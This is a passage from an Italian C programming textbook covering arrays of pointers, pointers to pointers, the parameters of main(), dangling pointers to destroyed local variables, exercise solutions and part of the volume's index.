La figura successiva mostra una mappa ipotetica di memoria, con indirizzi che vanno da 00_{16} a FF_{16}, in cui sono evidenziate delle variabili di vario tipo, inclusi i puntatori. Ogni cella di memoria corrisponde a un byte e si presume che l'architettura del microprocessore preveda un accesso in modalità *big endian* (quello più semplice dal punto di vista umano). Si vuole conoscere il risultato della dereferenziazione dei puntatori, secondo quanto richiesto espressamente nella tabella che segue la figura.

Variabile o puntatore dereferenziato	Contenuto
a[1]	4369_{16}
b[0]	
c	
d[0]	0052_{16}
****d[0]***	
****e***	0052_{16}
*****e***	
****f***	$005E_{16}$
*****f***	
******f***	

93.15 Puntatori a più dimensioni

Un array di puntatori consente di realizzare delle strutture di dati ad albero, non più uniformi come invece devono essere gli array a più dimensioni consueti. L'esempio seguente mostra la dichiarazione di tre array di interi, con una quantità di elementi disomogenea, e la successiva dichiarazione di un array di puntatori di tipo '**`int *`**', a cui si assegnano i riferimenti ai tre array precedenti. Nell'esempio appare poi un tipo di notazione per accedere ai dati terminali che dovrebbe risultare intuitiva, ma se ne possono usare delle altre:

```
#include <stdio.h>

int main (void)
{
  int a[] = {1, 2, 3, 4};
  int b[] = {5, 6,};
  int c[] = {7, 8, 9};
  int *x[] = {a, b, c};

  printf ("*x[0] = {%i, %i, %i, %i}\n", *x[0], *(x[0]+1), *(x[0]+2),
                                        *(x[0]+3));
  printf ("*x[1] = {%i, %i}\n", *x[1], *(x[1]+1));
  printf ("*x[2] = {%i, %i, %i}\n", *x[2], *(x[2]+1), *(x[2]+2));

  getchar ();
  return 0;
}
```

La figura successiva dovrebbe facilitare la comprensione del senso dell'array di puntatori. Come si può osservare, per accedere agli elementi degli array a cui puntano quelli di *x* è necessario dereferenziare gli elementi. Pertanto, '`*x[0]`' corrisponde al contenuto del primo elemento del primo sotto-array, '`*(x[0]+1)`' corrisponde al contenuto del secondo elemento del primo sotto-array e così di seguito. Dal momento che i sotto-array non hanno una quantità uniforme di elementi, non è semplice la loro scansione.

Figura 93.78. Schematizzazione semplificata del significato dell'array di puntatori definito nell'esempio.

Si potrebbe obbiettare che la scansione di questo array di puntatori a array può avvenire ugualmente in modo sequenziale, come se fosse un array «normale» a una sola dimensione. Molto probabilmente ciò è possibile effettivamente, dal momento che è probabile che il compilatore disponga le variabili in memoria in sequenza, come si vede nella figura successiva, ma ciò non può essere garantito.

Figura 93.79. La disposizione più probabile delle variabili dell'esempio.

Se invece di un array di puntatori si ha un puntatore di puntatori, il meccanismo per l'accesso agli elementi terminali è lo stesso. L'esempio seguente contiene la dichiarazione di un puntatore a puntatori di tipo intero, a cui viene assegnato l'indirizzo dell'array già descritto. La scansione può avvenire nello stesso modo, ma ne viene proposto uno alternativo e più chiaro, con il quale si comprende cosa si intende per puntatore a più dimensioni:

```
#include <stdio.h>

int main (void)
{
  int a[] = {1, 2, 3, 4};
  int b[] = {5, 6,};
  int c[] = {7, 8, 9};
  int *x[] = {a, b, c};
  int **y = x;
```

```
    printf ("*x[0] = {%i, %i, %i, %i}\n", y[0][0], y[0][1],
                                          y[0][2], y[0][3]);
    printf ("*x[1] = {%i, %i}\n", y[1][0], y[1][1]);
    printf ("*x[2] = {%i, %i, %i}\n", y[2][0], y[2][1], y[2][2]);

    getchar ();
    return 0;
}
```

Come si vede, la variabile ***y*** viene usata come se fosse un array a due dimensioni, ma lo stesso sarebbe valso per la variabile ***x***, in qualità di array di puntatori.

Per capire cosa succede, occorre fare mente locale al fatto che il nome di una variabile puntatore seguito da un numero tra parentesi quadre corrisponde alla dereferenziazione dell'***n***-esimo elemento successivo alla posizione a cui punta tale variabile, mentre il valore puntato in sé corrisponde all'elemento zero (ciò è come dire che ****p*** equivale a '`p[0]`'). Quindi, scrivere '`*(p+n)`' è esattamente uguale a scrivere '`p[n]`'. Se il valore a cui punta una variabile puntatore è a sua volta un puntatore, per dereferenziarlo occorrono due fasi: per esempio *****p*** è il valore che si ottiene dereferenziando il primo puntatore e quello che si trova nella prima destinazione (quindi *****p*** equivale a '`*p[0]`' e a '`p[0][0]`'). Volendo gestire gli indici si possono considerare equivalenti i puntatori: '`*(*(p+m)+n)`', '`*(p[m]+n)`', '`(p[m])[n]`' e '`p[m][n]`'.

Figura 93.81. Tanti modi alternativi per raggiungere lo stesso elemento.

Seguendo lo stesso ragionamento si possono gestire strutture ad albero più complesse, con più livelli di puntatori, ma qui non vengono proposti esempi di questo tipo.

Sia l'array di puntatori, sia il puntatore a puntatori, possono essere gestiti con gli indici come se si trattasse di un array a più dimensioni. Pertanto, la notazione '`a[m][n]`' può rappresentare l'elemento ***m***,***n*** di un array ***a*** ottenuto secondo la rappresentazione «normale» a matrice, oppure secondo uno schema ad albero attraverso dei puntatori: la differenza sta solo nella presenza o meno di elementi costituiti da puntatori.

93.15.1 Esercizio

La figura successiva mostra una mappa ipotetica di memoria, con indirizzi che vanno da 00_{16} a FF_{16}, in cui sono evidenziate delle variabili di vario tipo, inclusi i puntatori. Ogni cella di memoria corrisponde a un byte e si presume che l'architettura del microprocessore preveda un accesso in modalità *big endian* (quello più semplice dal punto di vista umano). Si vuole conoscere il risultato della dereferenziazione dei puntatori, secondo quanto richiesto espressamente nella tabella che segue la figura.

Variabile o puntatore dereferenziato	Contenuto
a[1]	4369_{16}
b[0]	
c	
d[0]	0052_{16}
d[0][0]	
d[0][1]	4369_{16}
d[1][0]	
d[1][1]	

Variabile o puntatore dereferenziato	Contenuto
d[2][0]	
e[0]	
e[0][0]	
e[0][1]	4369_{16}
e[1][0]	
e[1][1]	
e[2][0]	
f[0]	
f[0][0]	
f[0][0][0]	
f[0][0][1]	4369_{16}
f[0][1][0]	
f[0][1][1]	
f[0][2][0]	

93.16 Parametri della funzione main()

La funzione ***main()***, se viene dichiarata con i suoi parametri tradizionali, permette di acquisire la riga di comando utilizzata per avviare il programma. La dichiarazione completa è la seguente:

```
int main (int argc, char *argv[])
{
  ...
}
```

Gli argomenti della riga di comando vengono convertiti in un array di stringhe (cioè di puntatori a '**`char`**'), in cui il primo elemento è il nome utilizzato per avviare il programma e gli elementi successivi sono gli altri argomenti. Il primo parametro, ***argc***, serve a contenere la quantità di elementi del secondo, ***argv[]***, il quale è l'array di stringhe da scandire. È il caso di annotare che questo array dovrebbe avere sempre almeno un elemento: il nome utilizzato per avviare il programma e, di conseguenza, ***argc*** è sempre maggiore o uguale a uno.[1]

L'esempio seguente mostra in che modo gestire tale array, con la semplice riemissione degli argomenti attraverso lo standard output.

```
#include <stdio.h>

int main (int argc, char *argv[])
{
  int i;

  printf ("Il programma si chiama %s\n", argv[0]);

  for (i = 1; i < argc; i++)
    {
      printf ("argomento n. %i: %s\n", i, argv[i]);
    }
}
```

In alternativa, ma con lo stesso effetto, l'array di puntatori a stringhe può essere definito nel modo seguente, come puntatore di puntatori a caratteri:

```
int main (int argc, char **argv)
{
  ...
}
```

Figura 93.87. Schematizzazione di ciò che accade alla chiamata della funzione ***main()***, con un esempio.

Chi è abituato a utilizzare linguaggi di programmazione più evoluti del C, può trovare strano che non si possa scrivere '**`main (int argc, char argv[][])`**' e usare di conseguenza l'array. Il motivo per cui ciò non è possibile dipende dal fatto che gli array a più dimensioni sono ottenuti attraverso sottoinsiemi uniformi del tipo dichiarato, così, in questo caso le stringhe dovrebbero essere della stessa dimensione, ma evidentemente ciò non corrisponde alla realtà. Inoltre, la dichiarazione della funzione dovrebbe contenere le dimensioni dell'array che non

possono essere note. Pertanto, un array formato da stringhe diseguali, può essere ottenuto solo come array di puntatori al tipo '**char**'.

93.17 Puntatori a variabili distrutte

L'esempio seguente potrebbe funzionare, ma contiene un errore di principio:

```
#include <stdio.h>

double *f (void)
{
  double x = 1234.5678;
  return &x;                    // Orrore!
}

int main (int argc, char *argv[])
{
  double *p;
  p = f ();
  printf ("x = %f\n", *p);
  return 0;
}
```

La funzione *f()* dichiara localmente una variabile che inizializza al valore 1234,5678, quindi restituisce il puntatore a questa variabile. A parte il fatto che il compilatore possa segnalare o meno la cosa, non si può utilizzare un puntatore rivolto a un'area di memoria che, almeno teoricamente, non è più allocata. In altri termini, se si costruisce un puntatore a qualcosa, occorre tenere sempre presente il ciclo di vita della sua destinazione e non solo della variabile che contiene tale riferimento.

Purtroppo questa attenzione non viene imposta e, generalmente, il compilatore consente di usare un puntatore a variabili che, formalmente, sono già state distrutte.

93.18 Soluzioni agli esercizi proposti

Esercizio	Soluzione
93.1.1	L'espressione multipla '**x = 4, y = 3 * 2**' ha come *lvalue* le variabili ***x*** e ***y***. L'espressione '**y = 3 * x**' ha come *lvalue* la variabile ***y***. L'espressione '**z += 3 * x**' ha come *lvalue* la variabile *z*. L'espressione '**j=i++ * 5**' ha come *lvalue* le variabili ***j*** e ***i*** (la seconda viene incrementata di una unità dopo aver assegnato il prodotto di ***i*** per 5 alla variabile ***j***).
93.3.1	Per contenere il puntatore alla variabile ***a***, la quale è di tipo '**int**', la variabile ***b*** deve essere di tipo '**int ***'. La variabile ***x***, per essere un puntatore al tipo '**long long int**' si dichiara di tipo '**long long int ***'. La variabile *z*, essendo un puntatore al tipo '**long int**', può contenere il valore che esprime un indirizzo di memoria, all'interno del quale ci si attende di trovare un dato che si estende quanto richiederebbe un intero di tipo '**long int**'.

Esercizio	Soluzione
93.4.1	1) L'assegnamento corretto potrebbe essere '**`i = &j`**' oppure '**`*i = j`**', ma non si può sapere quale dei due fosse l'intenzione del programmatore. 2) La variabile ***j*** contiene alla fine il valore 11. 3) L'assegnamento richiederebbe un cast, perché il puntatore dereferenziato ***i** è equivalente a una variabile di tipo '**`long`**', mentre ciò che gli viene assegnato è di tipo '**`int`**': '**`*i = (long) j`**'.
93.5.1	***a*** contiene $4369616F_{16}$. ***b*** contiene $20616D6F_{16}$. ***c*** contiene 7265_{16}. ***d*** contiene $2E00_{16}$. ***i** contiene $4369616F_{16}$. ***j** contiene $20616D6F_{16}$. ***k** contiene $72652E00_{16}$, perché ***k*** punta alla variabile ***c*** estendendosi fino a tutto il contenuto di ***d***. ***l** contiene $2E000054_{16}$, perché ***l*** punta alla variabile ***d*** estendendosi fino a tutto il contenuto di ***j***. ***m** contiene 4369_{16}, perché ***m*** punta alla variabile ***a*** estendendosi però solo fino alla sua metà. ***n** contiene 2061_{16}, perché ***n*** punta alla variabile ***b*** estendendosi però solo fino alla sua metà. ***o** contiene 43_{16}, perché ***o*** punta al primo byte della variabile ***a***. ***p** contiene 20_{16}, perché ***p*** punta al primo byte della variabile ***b***.
93.6.1	***i***=2, ***j***=2, ***k***=3 Nella funzione ***f()***, il contenuto dell'area di memoria a cui punta ***x**, corrispondente a ***j***, viene incrementato di una unità dopo che si è svolta la somma; pertanto, il valore restituito dalla funzione è tre (uno+due).

93.6.2	`#include <stdio.h>`
	`int f (int *x, int y)`
	`{`
	`    return ((*x)++ + y);`
	`}`
	`int main (void)`
	`{`
	`    int i = 1;`
	`    int j = 2;`
	`    int k;`
	`    int *l;`
	`    l = &i;`
	`    k = f (l, j);`
	`    printf ("i=%i, j=%i, k=%i\n", i, j, k);`
	`    getchar ();`
	`    return 0;`
	`}`

93.8.1	`unsigned int a[11];`
	`int b[] = { 2, 7, 123 };`
	`int c[7] = { 2, 7, 123 };`

Esercizio	Soluzione

93.8.2	`int a[5];`
	`int i;`
	…
	`for (i = 0 ; i < 5 ; i++)`
	`  {`
	`    a[i] = i + 1;`
	`  }`

93.8.3	`int a[5];`
	`int i;`
	…
	`for (i = 4 ; i >= 0 ; i--)`
	`  {`
	`    a[i] = i + 1;`
	`  }`
	Al termine, la variabile ***i*** ha il valore −1.

93.9.1	`unsigned int a[11][7];`
	`int b[3][2] = {{2, 7}, {5, 11}, {100, 123}};`
	`int c[7][2] = {{2, 7}, {5, 11}};`

93.9.2	`int a[5][7];`
	`int i;`
	`int j;`
	…
	`for (i = 0 ; i < 5 ; i++)`
	`  {`
	`    for (j = 0 ; j < 6 ; j++)`
	`      {`
	`        a[i][j] = (i * 7) + j + 1;`
	`      }`
	`  }`

93.9.3	`int a[5][7];`
	`int i;`
	`int j;`
	…
	`for (i = 4 ; i >= 0 ; i--)`
	`  {`
	`    for (j = 7 ; j >= 0 ; j--)`
	`      {`
	`        a[i][j] = (i * 7) + j + 1;`
	`      }`
	`  }`

93.10.1	1) La variabile che rappresenta un array è in sola lettura, perciò non le si può assegnare alcunché. 2) La variabile puntatore ***b*** riguarda il tipo '**`long int`**', mentre l'array ***a*** si compone di elementi di tipo '**`int`**', pertanto i puntatori non possono essere dello stesso tipo; tuttavia, anche se non ci fosse questo problema, c'è da osservare che l'array ***a[][]*** è a due dimensioni, restituendo, in questo caso, il puntatore a un'area di memoria lunga cinque volte un intero normale, rendendo comunque incompatibile l'assegnamento alla variabile ***b***; pertanto, si richiede un cast. 3) Il puntatore che si ottiene da '**`&a[3]`**' si riferisce a un array di cinque elementi di tipo '**`int`**', pertanto è incompatibile con ***p*** e si richiederebbe eventualmente un cast, oppure si potrebbe togliere l'operatore '**`&`**', rendendo in questo caso compatibili i puntatori.

Esercizio	Soluzione
93.10.2	1) Viene modificato l'elemento ***a[1][1]***. 2) Viene modificato l'elemento ***a[1][0]***. 3) L'area di memoria a cui si riferisce ***p[35]*** è immediatamente successiva allo spazio occupato dall'array ***a[][]***; infatti, essendo questo composto da 35 elementi, ***p[35]*** si riferisce a un 36-esimo elemento non esistente.
93.12.1	1) Viene modificato l'elemento ***a[1][1]***. 2) Viene modificato l'elemento ***a[1][1]***. In questo caso, il puntatore corrispondente al contenuto della variabile ***p*** non viene modificato, continuando a riferirsi all'inizio dell'array ***a[][]***. 3) Le celle dell'array ***a[][]*** vengono inizializzate con un valore intero da uno a 34. Al termine, il puntatore contenuto nella variabile ***p*** si riferisce all'area di memoria immediatamente successiva all'array ***a[][]***.
93.13.1	***a[]*** è un array di interi, di sette elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre al codice *<LF>* e allo zero finale. ***b[]*** è un array di interi, di sei elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre allo zero finale. ***c[]*** è un array di interi, di sei elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre al codice *<LF>* finale. ***d[]*** è un array di interi, di cinque elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore» e nulla altro. ***e[]*** è un array di caratteri, di sette elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre al codice *<LF>* e allo zero finale: si tratta di una stringa che se visualizzata porta anche a capo il cursore al termine. ***f[]*** è un array di caratteri, di sette elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre allo zero finale: si tratta di una stringa che se visualizzata non porta a capo il cursore al termine. ***g[]*** è un array di caratteri, di sette elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», oltre allo al codice *<LF>* finale: non si tratta di una stringa, perché manca lo zero finale. ***g[]*** è un array di caratteri, di sei elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore» e nulla altro: non si tratta di una stringa, perché manca lo zero finale. ***i[]*** è un array di caratteri, di nove elementi, contenenti i valori numerici corrispondenti alle lettere della parola «amore», uno zero e poi le lettere della parola «mio»: può valere come stringa, ma in tal caso si ignora il testo successivo allo zero.
93.13.2	***a[]*** è un array di caratteri che nel corso del programma potrebbe anche contenere una stringa. ***b[]*** è un array di caratteri contenente inizialmente una stringa. Non è possibile assegnare qualcosa direttamente a ***c***, perché si tratta di un puntatore in sola lettura; per cambiare il contenuto dell'array ***c[]*** bisogna invece intervenire cella per cella. ***e*** è un puntatore che può ricevere l'indirizzo iniziale di un array di caratteri; pertanto l'assegnamento è valido ed ***e*** diventa un modo alternativo per fare riferimento alla stringa contenuto nell'array ***d[]***. Dopo l'assegnamento, ***f*** è un puntatore a un carattere che contiene il valore corrispondente alla lettera «c»; tuttavia può essere usato in qualità di stringa, contenente la parola «ciao». Dopo l'assegnamento, ***g*** punta all'inizio di una stringa che rappresenta la parola «amore»; per converso, la stringa che rappresentava la parola «ciao» continua a occupare spazio in memoria, ma risulta irraggiungibile. Con l'assegnamento di ****h***, si vorrebbe sostituire l'iniziale della parola «ciao» con una maiuscola; tuttavia, ciò non è ammissibile, perché l'area di memoria che contiene inizialmente la stringa «ciao» dovrebbe essere in sola lettura. Con l'incremento di ***i***, questo puntatore rappresenta una stringa, contenente però solo la parola «iao».

Esercizio	Soluzione
93.14.1	***a[1]*** contiene 4369_{16}. ***b[0]*** contiene 2061_{16}. ***c*** contiene 7265_{16}. ***d[0]*** contiene 0052_{16}. ****d[0]*** contiene 0000_{16} e corrisponde a ***a[0]***. ****e*** contiene 0052_{16} e corrisponde a ***d[0]***. *****e*** contiene 0000_{16} e corrisponde a ***a[0]***, così come a ****d[0]***. ****f*** contiene $005E_{16}$ e corrisponde a ***e***. *****f*** contiene 0052_{16} e corrisponde a ***d[0]***, così come a ****e***. ******f*** contiene 0000_{16} e corrisponde a ***a[0]***, così come a ****d[0]*** e a *****e***.
93.15.1	***a[1]*** contiene 4369_{16}. ***b[0]*** contiene 2061_{16}. ***c*** contiene 7265_{16}. ***d[0]*** contiene 0052_{16}. ***d[0][0]***, ovvero ****d[0]***, contiene 0000_{16} e corrisponde a ***a[0]***. ***d[0][1]*** contiene 4369_{16} e corrisponde a ***a[1]***. ***d[1][0]*** contiene 2061_{16} e corrisponde a ***b[0]***. ***d[1][1]*** contiene $6D6F_{16}$ e corrisponde a ***b[1]***. ***d[2][0]*** contiene 7265_{16} e corrisponde a ***c***. ***e[0]*** contiene 0052_{16} e corrisponde a ***d[0]***. ***e[0][0]***, ovvero ****e[0]***, contiene 0000_{16} e corrisponde a ***a[0]***, così come a ***d[0][0]***. ***e[0][1]*** contiene 4369_{16} e corrisponde a ***a[1]***, così come a ***d[0][1]***. ***e[1][0]*** contiene 2061_{16} e corrisponde a ***b[0]***, così come a ***d[1][0]***. ***e[1][1]*** contiene $6D6F_{16}$ e corrisponde a ***b[1]***, così come a ***d[1][1]***. ***e[2][0]*** contiene 7265_{16} e corrisponde a ***c***, così come a ***d[2][0]***. ***f[0]*** contiene $005E_{16}$ e corrisponde a ***e***. ***f[0][0]*** contiene 0052_{16} e corrisponde a ***d[0]*** e a ***e[0]***. ***f[0][0][0]***, ovvero ******f***, contiene 0000_{16} e corrisponde a ***a[0]***, così come a ***d[0][0]*** e a ***e[0][0]***. ***f[0][0][1]*** contiene 4369_{16} e corrisponde a ***a[1]***, così come a ***d[0][1]*** e a ***e[0][1]***. ***f[0][1][0]*** contiene 2061_{16} e corrisponde a ***b[0]***, così come a ***d[1][0]*** e a ***e[1][0]***. ***f[0][1][1]*** contiene $6D6F_{16}$ e corrisponde a ***b[1]***, così come a ***d[1][1]*** e a ***e[1][1]***. ***f[0][2][0]*** contiene 7265_{16} e corrisponde a ***c***, così come a ***d[2][0]*** e a ***e[2][0]***.

[1] In contesti particolari è ammissibile che ***argc*** sia pari a zero, a indicare che non viene fornita alcuna informazione; oppure, se gli argomenti vengono forniti ma il nome del programma è assente, ***argv[0][0]*** deve essere pari a <*NUL*>, ovvero al carattere nullo.

Indice analitico del volume

! 4449 4451 5491 5497 != 4449 4451 5491 5496 * 4449 4450 4500 5491 5493 5541 ** 4524 4525 5564 5567 *** 4524 5564 *...const 4512 *= 4449 4450 5491 5493 *& 4517 + 4449 4450 5491 5493 ++ 4449 4450 5491 5493 += 4449 4450 5491 5493 . 4544 4546 .ascii 4242 .bss 4244 .byte 4242 .data 4244 .equ 4242 .int 4242 .lcomm 4242 .odbc.ini 5315 .text 4244 / 4449 4450 5491 5493 /*...*/ 4437 5476 // 4437 5476 /= 4449 4450 5491 5493 0... 4443 5485 01 4981 0x... 4443 5485 2421 4186 5211 4186 631-1 4186 66 5004 732-1 4186 8421 4186 88 5002 ; 4437 5476 = 4449 4450 5491 5493 == 4449 4451 5491 5496 ? : 4449 4451 5491 5497 a.out 4185 4438 5480 abort 4897 abort() 4762 abs() 4765 4897 ACCEPT 5027 access() 4872 4874 *actual argument* 4496 ADC 4218 4252 ADD 4218 4240 4247 5029 addizionatore 4104 addizione binaria 5438 AH 4216 AL 4216 alarm() 4872 allineamento della memoria 4367 ALTER TABLE 5193 ALTER USER 5208 AND 4220 and 4778 AND 4099 4207 5457 and_eq 4778 argc 4522 5571 argomento attuale 4496 argv 4522 5571 *array* 4173 4324 4505 5461 5548 *array* di puntatori 4525 5567 asctime() 4828 4902 assemblatore 4181 4226 assembler 4181 *assembler* 4226 *assembly* 4226 assembly 4181 assert() 4722 4917 assert.h 4722 4917 atexit() 4762 4897 atof() 4756 4897 atoi() 4756 4897 atol() 4756 4897 atoll() 4756 4897 auto 4488 AX 4216 basi di dati 5163 BCD 4186 BH 4216 *big endian* 4178 5466 big endian 4192 bit 4440 5482 bitand 4778 BL 4216 BLANK WHEN ZERO 4992 blkcnt_t 4861 blksize_t 4861 BLOCK CONTAINS 4979 bool 4556 4779 *borrow* 4196 4201 5448 BP 4216 break 4457 4458 4460 5507 5509 5512 BRKINT 4882 bsearch() 4763 4897 BSWAP 4217 Bubblesort 4127 4623 BUFSIZ 4833 4905 BX 4216 byte 4440 4496 5482 byte order 4192 *byte order* 4178 5466 C 4397 4436 5475 5539 CALL 4221 4293 4308 calloc() 4531 4762 4897 campo 4551 carattere 4440 4496 5482 carattere esteso 4564 caratteristica 4190 caricamento di un programma 4361 *carry* 4196 4201 4203 4203 4204 4206 4216 4251 5448 5454 5454 *carry in* 4109 *carry out* 4109 case 4457 5507 *cast* 4454 5501 CBW 4217 cc 4406 cc_t 4881 CDQ 4217 CGI 5266 CH 4216 char 4441 5482 CHAR_BIT 4723 4888 CHAR_MAX 4723 4888 CHAR_MIN 4723 4888 chdir() 4872 4877 chmod() 4865 4920 chown() 4872 CL 4216 CLC 4222 clearerr() 4855 4905 clock() 4823 4902 CLOCKS_PER_SEC 4823 clock_t 4823 4861 CLOSE 5030 5207 close() 4672 4872 closedir() 4712 4880 CMC 4222 CMP 4222 4273 4280 4282 COBOL 5087 5088 CODE-SET 4980 codice di interruzione di riga 4583 codice pesato 4186 collegamento 4485 COMMIT 5211 comparazione binaria 4209 compilazione di un programma 4361 compl 4778 complemento alla base 5435 complemento a due 4188 5437 5440 complemento a uno 4187 5437 COMPUTE 5031 condotto 4703 CONFIGURATION SECTION 4958 confstr() 4872 const 4447 4448 5490 const...* 4512 const volatile 4448 continue 4458 4460 5509 5512 convenzione di chiamata 4307 conversione di tipo 4454 5501 *conversion specifier* 4439 5480 costante letterale composta 4553 cpp 4407 4469 creat() 4672 4870 CREATE DATABASE 5209 CREATE TABLE 5189 CREATE USER 5208 CREATE VIEW 5205 ctermid() 4855 ctime() 4829 4902 ctype.h 4740 4895 CWDE 4217 CX 4216 data 5183 DATA DIVISION 4976 DATA RECORD 4979 db 4242 DBA 5167 DBMS 5163 DCL 5208 dd 4242 DDD 4237 4400 DDL 5167 5181 DEC 4218 4241 4282 DECLARATIVES 5019 DECLARE 5206 default 4457 5507 DELETE 5031 DELETE FROM 5196 DEPENDING ON 4996 descrittore 4672 Dev86 4577 dev_t 4861 DH 4216 DI 4216 difftime() 4826 4902 *digraph* 4446 4499 5488 DIR 4711 4711 4880 directory 4684 *directory* 4711 dirent.h 4711 4879 dislocamento 4278 *displacement* 4278 DISPLAY 5032 DIV 4218 4262 div() 4765 4897 DIVIDE 5033 divisione binaria 5440 div_t 4755 4755 DL 4216 DML 5167 5193 do 4459 5511 double

4441 5482 DROP TABLE 5193 DROP USER 5208 DROP VIEW 5205 DSN 5315 dup() 4872 dup2() 4872 durata di memorizzazione 4497 DX 4216 EAX 4216 EBP 4216 4300 EBX 4216 eccesso 3 4186 ECHO 4883 ECHOE 4883 ECHOK 4883 ECHONL 4883 ECX 4216 EDI 4216 EDOM 4733 EDX 4216 EFLAGS 4216 EILSEQ 4733 EIP 4216 ELF 4373 else 4455 5504 endianess 4192 *endianess* 4178 5466 ENTER 4303 4308 enum 4542 enumerazione 4542 environ 4654 ENVIRONMENT DIVISION 4957 EOF 4584 4833 4905 equ 4242 ERANGE 4733 errno 4595 4681 4733 errno.h 4733 errore di segmentazione 4365 esecuzione di un programma 4361 ESI 4216 ESP 4216 esponente 4190 espressione multipla 4454 5502 espressione regolare 4635 execl() 4650 4872 execle() 4872 execlp() 4872 execv() 4872 execve() 4655 4872 execvp() 4872 EXIT 5034 exit() 4466 4762 4897 5520 EXIT_FAILURE 4755 EXIT_SUCCESS 4755 extern 4486 4488 *external linkage* 4485 extern const volatile 4448 F 4443 5485 false 4779 fchmod() 4865 4920 fchown() 4872 fclose() 4587 4837 4905 fcntl() 4870 fcntl.h 4672 4867 FD 4977 fdopen() 4837 FD_CLOEXEC 4712 4867 feof() 4855 4905 ferror() 4855 4905 FETCH 5206 fflush() 4839 4905 ffs() 4866 fgetc() 4850 4905 fgetpos() 4853 4905 fgets() 4593 4851 4905 Fibonacci 4124 4618 FIFO 4703 *file* 4962 file 4672 FILE 4561 4582 4586 4833 FILENAME_MAX 4833 4905 FILE-CONTROL 4961 file di intestazione 4469 file eseguibile 4363 file oggetto 4361 FILE SECTION 4977 file speciale 4696 *file system* 4681 4689 FILLER 4987 *flag* 4182 4201 FLAGS 4216 float 4441 5482 flockfile() 4854 flusso di controllo 4656 flusso di file 4582 fopen() 4587 4837 4905 FOPEN_MAX 4833 4905 for 4460 5512 fork() 4648 4872 *formal parameter* 4496 formato a.out 4185 fpathconf() 4872 fpos_t 4561 4833 fprintf() 4844 4911 fputc() 4850 4905 fputs() 4593 4851 4905 fread() 4588 4852 4905 free() 4531 4762 4897 freopen() 4837 4905 fscanf() 4849 4914 fseek() 4591 4853 4905 fseeko() 4853 fsetpos() 4853 4905 fstat() 4865 4920 ftell() 4591 4853 4905 ftello() 4853 ftruncate() 4872 ftrylockfile() 4854 *function-like macro* 4470 funlockfile() 4854 fusione 4139 fwrite() 4588 4852 4905 F_DUPFD 4867 F_GETFD 4867 F_GETFL 4867 F_GETLK 4867 F_GETOWN 4867 F_OK 4872 F_RDLCK 4869 F_SETFD 4867 F_SETFL 4867 F_SETLK 4867 F_SETLKW 4867 F_SETOWN 4867 F_UNLCK 4869 F_WRLCK 4869 *garbage collector* 4531 GAS 4226 GCC 4406 gcc 4406 GDB 4229 4400 getc() 4850 getchar() 4850 getchar_unlocked() 4854 getcwd() 4872 4876 getc_unlocked() 4854 getegid() 4872 getenv() 4763 geteuid() 4872 getgid() 4872 getgroups() 4872 gethostname() 4872 getlogin() 4872 getlogin_r() 4872 getopt() 4872 getpgrp() 4872 getpid() 4872 getppid() 4872 gets() 4851 4905 Gettext 4925 getuid() 4872 gid_t 4861 gmtime() 4828 4902 GNU AS 4226 GO TO 5035 GRANT 5210 Hanoi 4130 4625 *header file* 4469 ICANON 4883 ICRNL 4882 IDENTIFICATION DIVISION 4956 IDIV 4218 4262 id_t 4861 IEEE 754 4190 IEXTEN 4883 if 4455 5504 IF 5035 IGNBRK 4882 IGNCR 4882 IGNPAR 4882 imaxabs() 4777 imaxdiv() 4772 imaxdiv_t 4772 immagine 4384 immagine di un processo elaborativo 4365 IMUL 4218 4261 INC 4218 4241 4282 indicatore 4182 4201 indirizzamento 4314 init 4652 initdb 5217 INLCR 4882 inode 4682 ino_t 4861 INPCK 4882 INPUT-OUTPUT SECTION 4961 INSERT INTO 5194 5205 INSPECT 5037 INT 4221 4226 int 4441 5482 INT16_C() 4728 4889 INT16_MAX 4727 4889 INT16_MIN 4727 4889 int16_t 4727 4889 INT32_C() 4728 4889 INT32_MAX 4727 4889 INT32_MIN 4727 4889 int32_t 4727 4889 INT64_C() 4728 4889 INT64_MAX 4727 4889 INT64_MIN 4727 4889 int64_t 4727 4889 INT8_C() 4728 4889 INT8_MAX 4727 4889 INT8_MIN 4727 4889 int8_t 4727 4889 *internal linkage* 4485 intero con segno 4188 5440 intero senza segno 4187 5440 interruzione di riga 4583 INTMAX_C() 4731 4889 INTMAX_MAX 4731 4889 INTMAX_MIN 4731 4889 intmax_t

4731 4889 INTPTR_MAX 4730 4889 INTPTR_MIN 4730 4889 intptr_t 4730 4889 inttypes.h 4771 4891 INT_FAST16_MAX 4729 4889 INT_FAST16_MIN 4729 4889 int_fast16_t 4729 4889 INT_FAST32_MAX 4729 4889 INT_FAST32_MIN 4729 4889 int_fast32_t 4729 4889 INT_FAST64_MAX 4729 4889 INT_FAST64_MIN 4729 4889 int_fast64_t 4729 4889 INT_FAST8_MAX 4729 4889 INT_FAST8_MIN 4729 4889 int_fast8_t 4729 4889 INT_LEAST16_MAX 4728 4889 INT_LEAST16_MIN 4728 4889 int_least16_t 4728 4889 INT_LEAST32_MAX 4728 4889 INT_LEAST32_MIN 4728 4889 int_least32_t 4728 4889 INT_LEAST64_MAX 4728 4889 INT_LEAST64_MIN 4728 4889 int_least64_t 4728 4889 INT_LEAST8_MAX 4728 4889 INT_LEAST8_MIN 4728 4889 int_least8_t 4728 4889 INT_MAX 4723 4888 INT_MIN 4723 4888 inverter 4099 invertitore 4099 IP 4216 isalnum() 4741 4895 isalpha() 4741 4895 isascii() 4747 isatty() 4872 isblank() 4742 4895 iscntrl() 4742 4895 isdigit() 4743 4895 isgraph() 4743 4895 ISIG 4883 islower() 4744 4895 iso646.h 4778 ISO 10646 5017 ISO 8601 5183 isprint() 4744 4895 ispunct() 4745 4895 isql 5320 isspace() 4745 4895 ISTRIP 4882 isupper() 4746 4895 isxdigit() 4746 4895 iusql 5320 IXOFF 4882 IXON 4882 I-O-CONTROL 4972 JA 4222 4280 JAE 4222 4280 JB 4222 4280 4286 JBE 4222 4280 JC 4222 4279 JCXZ 4222 JE 4222 4280 4282 JG 4222 4280 JGE 4222 4280 JL 4222 4280 JLE 4222 4280 JMP 4222 4278 4284 JNA 4222 4280 JNAE 4222 4280 JNB 4222 JNBE 4222 4280 